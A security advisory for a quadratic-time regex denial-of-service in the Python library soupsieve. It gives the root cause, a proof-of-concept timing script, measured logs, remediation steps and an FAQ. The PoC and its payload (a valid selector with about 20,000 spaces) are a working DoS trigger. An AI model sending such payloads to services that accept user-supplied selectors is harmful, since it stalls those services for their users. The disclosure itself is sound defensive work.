GHSA-j934-xhv5-fg8f: Medium severity pip/soupsieve vulnerability
Summary
Before tokenizing, selectoriter trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with .search(). The trailing one, REWSEND = re.compile(r'{WSC}$'), is anchored only at the end ($), not the start. Because .search() retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail $, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, a + " "n + b — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.
Trust model (Q0)
The selector string is the input, reaching this code via soupsieve.compile(), the soupsieve.select/iselect/match/filter helpers, and BeautifulSoup's soup.select(selector) / soup.selectone(selector). Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.
Root cause (exact anchors) — src/soupsieve/cssparser.py
python line 185-186 REWSBEGIN = re.compile(fr'^{WSC}') # anchored at start -> .search() only tries pos 0 -> linear (safe) REWSEND = re.compile(fr'{WSC}$') # NOT anchored at start -> .search() tries every offset
selectoriter, lines ~1322-1326 m = REWSBEGIN.search(pattern) index = m.end(0) if m else 0 m = REWSEND.search(pattern) # <-- O(n^2) here end = (m.start(0) - 1) if m else (len(pattern) - 1)
WSC = (?:{WS}|{COMMENTS}). For REWSEND = (?:WS|COMMENTS)$, .search() walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, (?:WS|COMMENTS) greedily consumes to the run's end, then $ fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). REWSBEGIN avoids this because ^ pins it to a single start offset.
The intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored .search() of a $ pattern is the defect.
Reproduction environment (discipline #12 — published artifact)
- git HEAD 751c57b (2.9, PYTHONPATH=src): cd src && python3 ../poc/pocredoswstrim.py. - Published PyPI soupsieve 2.8.4 (fresh uv pip install soupsieve beautifulsoup4): cd poc && ../.venv-published/bin/python pocredoswstrim.py → same O(n²) (evidence: poc/evidenceredoswstrimPUBLISHED2.8.4.log). - Python 3.11.15 and 3.14.6 both reproduce.
PoC (poc/pocredoswstrim.py)
python import sys, time sys.path.insert(0, ".") import soupsieve as sv
def ct(sel): t0 = time.perfcounter() try: sv.compile(sel); st = "ok" except Exception as e: st = type(e).name return time.perfcounter() - t0, st
print(f"soupsieve {sv.version}\n")
print("VALID selector 'a' + ' 'n + 'b' (descendant combinator, lots of whitespace):") for n in (2000, 4000, 8000, 16000): dt, st = ct("a" + " " n + "b") print(f" n={n:<6} len={n+2:<7} {dt1000:9.1f} ms [{st}]")
payload = "a" + " " 20000 + "b" dt, st = ct(payload) print(f"\n[+] Single call: compile('a' + ' '20000 + 'b') (len={len(payload)})") print(f"[+] wall time = {dt:.2f} s [{st}]")
Isolated confirmation that the cost is in REWSEND.search specifically (poc/isolatewstrim.py): REWSEND on "div"+" "n+">" is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored REWSBEGIN on " "n+"x" stays linear (32000→1.5 ms). Profiling compile shows the entire wall time in 2 re.Pattern.search calls, not .match.
Evidence — HEAD 2.9 (verbatim poc/evidenceredoswstrim.log)
soupsieve 2.9
VALID selector 'a' + ' 'n + 'b' (descendant combinator, lots of whitespace): n=2000 len=2002 112.3 ms [ok] n=4000 len=4002 411.5 ms [ok] n=8000 len=8002 1602.9 ms [ok] n=16000 len=16002 6464.1 ms [ok]
VALID-looking 'a' + '/x/'n + 'b' (CSS comment run): n=1000 len=5002 48.9 ms [SelectorSyntaxError] n=2000 len=10002 194.8 ms [SelectorSyntaxError] n=4000 len=20002 780.2 ms [SelectorSyntaxError] n=8000 len=40002 3145.3 ms [SelectorSyntaxError]
[+] Single call: compile('a' + ' '20000 + 'b') (len=20002) [+] wall time = 10.23 s [ok]
Evidence — published 2.8.4 (verbatim poc/evidenceredoswstrimPUBLISHED2.8.4.log)
soupsieve 2.8.4
VALID selector 'a' + ' 'n + 'b': n=2000 len=2002 102.7 ms [ok] n=4000 len=4002 404.3 ms [ok] n=8000 len=8002 1618.2 ms [ok] n=16000 len=16002 6457.9 ms [ok] [+] Single call: compile('a' + ' '20000 + 'b') wall time = 10.11 s [ok]
Impact — calibrated
- Confirmed: quadratic CPU per compile()/select() call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB → ~1.6 s; ~20 KB → ~10 s; scaling ~×4 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path. - Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve. - NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.
Distinction from the IDENTIFIER/VALUE ReDoS
This is a separate root cause and a separate fix: the cost here is entirely in the REWSEND = {WSC}$ trim step run with .search() before tokenizing (measured in re.Pattern.search), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token .match(). They can be fixed independently.
Remediation
- Anchor or de-loop the trailing-trim step: instead of .search() of {WSC}$, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or re.compile(r'^{WSC}').match on a reversed-equivalent), so no per-offset retry occurs. - Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass $ search. - Defense-in-depth: cap selector length before compiling.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/soupsieveto a version that resolves this vulnerability.Fixed in 2.9.0 - Upgrade
Upgrade
soupsieveto a version that resolves this vulnerability.Fixed in 2.9 - Configuration
Change the trailing whitespace/comment trimming logic so it does not perform `RE_WS_END = re.compile(fr'{WSC}*$')` followed by `.search()` on the full selector; instead implement the intended anchored/loopless trailing-trim (per the material’s suggestion: scan trailing whitespace/comments from the end directly, or use a reversed-equivalent with `.match`) to prevent O(n²) per compile/select call on attacker-controlled selectors.
soupsieve/css_parser.py RE_WS_END (RE_WS_END = re.compile(fr'{WSC}*$')) = Use an anchored/forward-safe trailing trim approach to avoid unanchored .search() over a $-anchored pattern (e.g., replace RE_WS_END.search(...) with an anchored or reverse-scan/match that does not retry every offset)
Event History
Frequently Asked Questions
Which applications are realistically exposed?
Applications are exposed when they pass user-controlled CSS selectors to Soup Sieve or BeautifulSoup. This includes use of soupsieve.compile(), soupsieve.select(), iselect(), match(), filter(), or BeautifulSoup’s soup.select() and soup.select_one(). Applications that use only hard-coded selectors are unaffected.
What does an attacker need to supply?
An attacker needs control of a selector string. The selector can be valid CSS; for example, a selector containing a long whitespace gap between descendant-selector components can trigger the issue, so malformed input is not required.
What is the operational impact of a successful trigger?
The issue causes quadratic processing time while trimming selector whitespace or comments, resulting in CPU consumption and interpreter stalls. The advisory states that a single valid selector of about 20 KB can consume roughly 10 seconds of CPU.
How can I determine whether my application is affected?
Review selector construction and call paths to determine whether untrusted input can reach the listed Soup Sieve or BeautifulSoup selector APIs. If selector values are exclusively application-defined hard-coded strings, the advisory states the application is not affected.